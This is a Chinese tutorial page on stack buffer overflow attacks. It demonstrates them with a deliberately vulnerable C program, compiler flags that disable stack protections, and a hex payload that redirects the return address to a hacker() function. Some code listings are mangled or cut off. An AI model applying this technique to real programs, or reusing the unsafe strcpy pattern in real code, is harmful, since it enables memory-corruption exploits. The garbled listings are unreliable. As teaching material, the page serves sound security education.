【计算机系统】缓冲区溢出攻击概念、演示及防御 您所在的位置:网站首页 缓冲的含义 【计算机系统】缓冲区溢出攻击概念、演示及防御

【计算机系统】缓冲区溢出攻击概念、演示及防御

2024-07-18 08:39| 来源: 网络整理| 查看: 265

一、缓冲区溢出攻击概念

缓冲区溢出攻击是一种常见的安全漏洞,也被称为缓冲区溢出。它发生在程序尝试向缓冲区

写入数据时,超过了缓冲区的容量,导致数据溢出到相邻的内存区域。这种溢出可能破坏程序的堆栈,使程序转而执行其它指令,从而达到攻击的目的。

缓冲区溢出攻击的原理主要是利用程序中存在的缓冲区溢出漏洞。当程序没有仔细检查用户输入的参数时,攻击者可以通过输入超出缓冲区边界的恶意数据来破坏程序的正常执行流程。这些数据可以覆盖程序中的其他数据或函数返回地址,导致程序执行攻击者指定的恶意代码。

例如,在一个简单的C语言程序中,如果程序使用固定大小的缓冲区来接收用户输入,而攻击者输入的数据超过该缓冲区的容量,就会发生缓冲区溢出。攻击者可以构造恶意输入,覆盖函数返回地址,使程序在执行完毕后跳转到攻击者指定的恶意代码处执行。

二、缓冲区溢出攻击演示 1.漏洞情况(防御星级✪)

关闭栈保护,关闭栈随机化。

1.1 示例代码 /*testoverflow.c*/ #include #include "string.h" void outputs(char *str) { char buffer[16]; strcpy(buffer,str);//str to buffer printf("%s \n",buffer); } void hacker(void) { printf("being hacked\n"); } int main(int argc,char *argv[]) { char str[30]; FILE *infile=stdin; fscanf(infile,"%s",str); outputs(str); return 0; }  1.2 编译

 终端输入

gcc -g -no-pie -fno-stack-protector -z execstack testoverflow.c -o testoverflow

 进行编译,其中,

① 关闭栈保护:-fno-stack-protector

② 开启栈可执行:-z execstack

③ 关闭栈随机化:-no-pie

关闭栈保护和开启栈可执行后,系统将不会对缓冲区溢出进行保护;关闭栈随机化后,函数所在内存地址将与反汇编结果一致(64位机器相较于32位机器,特殊的地方就是,即使关闭了对栈的保护①②,仍然没有关闭栈随机化③这一机制)。

进行反汇编查看:

 

可以观察到,在outputs函数中

 lea    -0x10(%rbp),%rax 负责计算局部变量buffer的地址,在栈底寄存器%rbp的低16字节处。因为%rbq本身占64位,即8字节,所以返回地址在%rbp的低24字节处。

那么,想要修改函数返回地址,使其变为hacker()函数的地址,则输入的buffer字符数组的24字节之后就应该为hacker()函数的地址。通过反汇编代码可以看到,hacker()函数的地址为00000000004011d4

可以创建一个txt文件,里面存储要输入的字符数组的内容。overflow.txt内容如下:

68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 d4 11 40 00 00 00 00 00

其中,“68”均为无意义的数字(修改成其他16进制数字均可) ,只有最后的 d4 11 40 00 00 00 00 00 按照小端法存储hacker()函数的地址。

然后,输入

./hex2raw overflow.txt overflow

命令将文本文件转换为ASCII码文件,hex2raw.c文件如下(需要的uu可以自取):

#include #include #include int main( int argc, const char * argv[]) { FILE *infile, *outfile; int h, i; //printf("%s, %s\n", argv[1], argv[2]); if ( strcmp (argv[1], "-n" )) { if (!(infile = fopen (argv[1], "r" )) || !(outfile = fopen (argv[2], "w+" ))){ printf ( "打开文件错误!\n" ); return 1; } while ( fscanf (infile, "%x" , &h) != EOF) fprintf (outfile, "%c" , h); } else { if (!(infile = fopen (argv[2], "r" )) || !(outfile = fopen (argv[3], "w+" ))){ printf ( "打开文件错误!\n" ); return 1; } for (i = 0; i < 5; i ++){ while ( fscanf (infile, "%x" , &h) != EOF) fprintf (outfile, "%c" , h); fprintf (outfile, "%c" , '\n' ); rewind (infile); //文件内部指针重新指向输入流开头 } } fclose (infile); fclose (outfile); return 0; } 1.3 执行

 将testoverflow文件输入重定向到overflow这个ASCII码文件中去,可以看到,程序运行完outpus()函数后进入了hacker()函数,输出 being hacked ,而我们的代码中却没有任何调用hacker()函数的操作!并且,程序提示段错误。

另外,也可以直接在outputs()函数中调用hacker()的地址,然后直接执行,就不需要运行时的重定向了。(这里注意,代码片段修改后hacker()的地址也会微调!)

 

2.开启栈随机化的情况(防御星级✪✪)

关闭栈保护,开启栈随机化。

2.1 示例代码 #include #include "string.h" void outputs(char *str) { char buffer[16]; strcpy(buffer,str);//str to buffer printf("%s \n",buffer); } void hacker(void) { printf("being hacked\n"); } int main(int argc,char *argv[]) { long long p_hacker=(long long)hacker;//hacker的地址 printf("hacker:%llx\n",p_hacker);//64位16进制数 char str[40]="123456712345671234567123"; for(int i=24;i>8; } outputs(str); return 0; }

因为开启了栈随机化的情况后(实际上在64位机器上这是默认的,作为一种保护机制)hacker()的内存地址在每一次编译过程中都会实时变化,为了捕捉到它的地址,可以在运行过程中,用一个局部变量p_hacker()将其接收, 然后利用位运算,将p_hacker传递到str[]字符数组的25~40位中(返回地址仍然在%rbp的低24字节处,可以反汇编查验)。

2.2 执行

2.3 另一个示例代码

在上述操作中,我们都需要利用反汇编查看%rax在%rbp的低多少位地址,比如 lea    -0x10(%rbp),%rax就是低16位。那么可不可以不用反汇编,直接修改代码就可以让程序自己计算出返回地址位于buffer的多少个字节后呢?答案是肯定的。

可以利用__builtin_frame_address(x)得到函数的栈帧,也就是得到函数的%rbp的值,即栈帧的栈底的值。

代码如下:

#include #include "string.h" void outputs(char *str) { void* p=__builtin_frame_address(0); char buffer[16]; int i =0; printf( "rbp:%p\n", p); printf ( "buffer:%p\n",buffer); long long t = (long long)p -(long long) buffer; t+= 8; for(i=0; i


【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

      专题文章
        CopyRight 2018-2019 实验室设备网 版权所有